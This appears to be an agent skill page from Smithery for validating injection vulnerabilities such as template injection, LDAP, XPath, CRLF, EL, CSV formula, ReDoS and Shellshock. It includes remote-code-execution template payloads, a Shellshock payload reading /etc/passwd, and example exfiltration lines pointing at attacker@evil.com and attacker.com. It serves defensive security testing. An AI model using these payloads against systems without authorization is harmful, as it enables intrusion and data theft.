Smithery is now a part of Arcade.dev! Read more in our announcement here
Validate miscellaneous injection vulnerabilities NOT covered by dedicated skills...
Validate miscellaneous injection vulnerabilities by sending crafted payloads to user-controlled inputs and observing:
This skill covers injection types WITHOUT dedicated skills.
For the following, use the dedicated skills:
sql-injection-testingnosql-injection-testingxss-testingxxe-testingcommand-injection-testingInject template expressions that execute on server.
Detection Methods:
{{7*7}} returns 49 in responseCommon Payloads by Engine:
| Engine | Detection Payload | RCE Payload Example |
|---|---|---|
| Jinja2 (Python) | {{7*7}} |
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Twig (PHP) | {{7*7}} |
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Freemarker (Java) | ${7*7} |
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Velocity (Java) | #set($x=7*7)$x |
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime"... |
| Thymeleaf (Java) | ${7*7} |
${T(java.lang.Runtime).getRuntime().exec('id')} |
| Pebble (Java) | {{7*7}} |
(Limited sandbox escape) |
| Smarty (PHP) | {7*7} |
{system('id')} |
| ERB (Ruby) | <%= 7*7 %> |
<%= system('id') %> |
Manipulate LDAP queries via special characters.
Detection Methods:
* returns all entries)(cn=*) modifies filter logic)(|(password=*)) vs normal queryTest Payloads:
*
*)(&
*)(|(&
admin)(|(password=*))
admin)(!(&(1=0
*))%00
Manipulate XPath queries in XML-based applications.
Detection Methods:
' or '1'='1 returns all nodes' causes XPath syntax error' or count(//*)>0 or '1'='1Test Payloads:
' or '1'='1
' or ''='
1 or 1=1
'] | //user/*[contains(*,'
' or count(//*)>0 or '1'='1
Manipulate XQuery expressions in XML databases.
Detection Methods:
Test Payloads:
' or '1'='1
') or ('1'='1
for $x in doc("users.xml")//user return $x
Inject carriage return/line feed to manipulate HTTP headers.
Detection Methods:
%0d%0aSet-Cookie:injected=value adds header%0d%0aX-Injected:header appears in response headersTest Payloads:
%0d%0aInjected-Header:value
%0d%0aSet-Cookie:session=hijacked
%0d%0a%0d%0a<html>Injected Body</html>
\r\nX-Injected:true
Inject headers into email messages via SMTP.
Detection Methods:
victim@test.com%0ABcc:attacker@evil.com adds BCC%0ASubject:Spoofed changes subjectTest Payloads:
victim@test.com%0ABcc:attacker@evil.com
victim@test.com\r\nBcc:attacker@evil.com
test%0ACc:attacker@evil.com
test\nSubject:INJECTED
Inject EL expressions in Java-based frameworks (Spring, JSP, OGNL).
Detection Methods:
${7*7} or #{7*7} returns 49${applicationScope} leaks dataTest Payloads by Framework:
| Framework | Detection | Notes |
|---|---|---|
| Spring EL | ${7*7}, #{7*7} |
Double resolution in older versions |
| OGNL (Struts) | %{7*7}, ${7*7} |
Many CVEs (Struts2) |
| JSP EL | ${7*7}, #{7*7} |
Standard Java EE |
| MVEL | ${7*7} |
Used in some workflow engines |
Inject JavaScript expressions into server-side evaluation contexts (Node.js or embedded JS engines) where user input is passed to eval(), Function(), vm.runInNewContext, or similar.
Detection Methods:
7*7 returns 49 (computed, not echoed)Math.imul(7,7) returns 49['a','b'].length returns 2Test Payloads (detection-only):
7*7
Math.imul(7,7)
['a','b'].length
JSON.stringify({a:1})
Safety: Treat any server-side JavaScript evaluation as high-risk; stop at detection-only payloads.
Manipulate GraphQL queries for data exfiltration or DoS.
Detection Methods:
{__schema{types{name}}} reveals schemaTest Payloads:
{__schema{queryType{name}}}
{__schema{types{name,fields{name}}}}
query{user(id:"1' OR '1'='1"){name}}
{user(id:1){friends{friends{friends{name}}}}}
Inject into ORM queries beyond basic SQL (Hibernate HQL, JPA JPQL, Django ORM).
Detection Methods:
' and 1=1 -- in Hibernate__ field lookup manipulationTest Payloads:
' or 1=1 --
' and substring(username,1,1)='a
admin' AND (SELECT COUNT(*) FROM User)>0 AND '1'='1
Inject spreadsheet formulas into exported CSV/Excel files.
Detection Methods:
=1+1 or =cmd|'/C calc'!A0 in exported data=IMPORTXML(...) data exfiltrationTest Payloads (detection only):
=1+1
=SUM(1,2)
+1+1
-1+1
@SUM(1+1)
=cmd|'/C calc'!A0
=HYPERLINK("http://attacker.com/?data="&A1)
Note: Test only in isolated environments; formulas can execute on user machines.
Inject patterns causing catastrophic backtracking in regex engines.
Detection Methods:
Test Payloads:
(a+)+$
((a+)+)+$
(a|a)+$
([a-zA-Z]+)*$
(.*a){x} (where x is large, e.g., 20)
Target input for (a+)+$: aaaaaaaaaaaaaaaaaaaaaaaa!
Inject YAML constructs for config manipulation (non-deserialization scenarios).
Detection Methods:
*alias references in YAML<<: merges dictionaries--- separates documentsTest Payloads:
key: !!python/object/apply:os.system ['id']
<<: *dangerous_anchor
admin: true
---
override: value
Inject into environment variables processed by bash.
Detection Methods:
() { :; }; echo VULNERABLETest Payloads:
() { :; }; echo SHELLSHOCK
() { :; }; /bin/sleep 5
() { :;}; /bin/cat /etc/passwd
Analyze for potential injection vectors:
Send normal request and record:
SSTI Test:
payloads = ["{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}", "{7*7}"]
for payload in payloads:
resp = get(f"/template?name={quote(payload)}")
if "49" in resp.text:
status = "VALIDATED"
engine = identify_engine(payload)
LDAP Injection Test:
baseline = get("/search?user=john")
test = get("/search?user=*")
if len(test.text) > len(baseline.text) * 5:
status = "VALIDATED" # Wildcard returned all users
CRLF Injection Test:
payload = "test%0d%0aX-Injected:true"
resp = get(f"/redirect?url={payload}")
if "X-Injected" in resp.headers:
status = "VALIDATED"
EL Injection Test:
payloads = ["${7*7}", "#{7*7}", "%{7*7}"]
for payload in payloads:
resp = get(f"/page?input={quote(payload)}")
if "49" in resp.text:
status = "VALIDATED"
ReDoS Test:
baseline_time = measure("/search?pattern=test")
malicious_pattern = "(a+)+$"
malicious_input = "a" * 30 + "!"
test_time = measure(f"/search?pattern={quote(malicious_pattern)}&input={quote(malicious_input)}")
if test_time > baseline_time + 5:
status = "VALIDATED"
| Status | Meaning |
|---|---|
| VALIDATED | Injection confirmed (eval, data leak, header added, delay) |
| FALSE_POSITIVE | Input properly sanitized |
| PARTIAL | Some indicators but not definitive |
| UNVALIDATED | Blocked, error, or insufficient evidence |
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cweValidated examples:
SSTI (Jinja2) on /greet - {{7*7}} evaluated to 49. RCE possible via template engine.
LDAP injection on /search - wildcard returned 500+ users vs 1. Data exposure risk.
CRLF injection on /redirect - X-Injected header added to response. Response splitting possible.
EL injection on /page - ${7*7} evaluated in Spring EL context. Code execution risk.
GraphQL introspection on /graphql - schema exposed via __schema query. API structure revealed.
Unvalidated example:
SSTI test incomplete on /template - all payloads returned literal text. Evidence: path/to/evidence.json
Primary CWEs (DAST-testable):
Additional CWEs commonly implicated by covered techniques:
Related/Parent CWEs:
Related Attack Patterns:
reference/injection_payloads.py for payload generators by injection typereference/validate_injection.py for injection validation flowexamples.md for concrete scenarios and evidence formats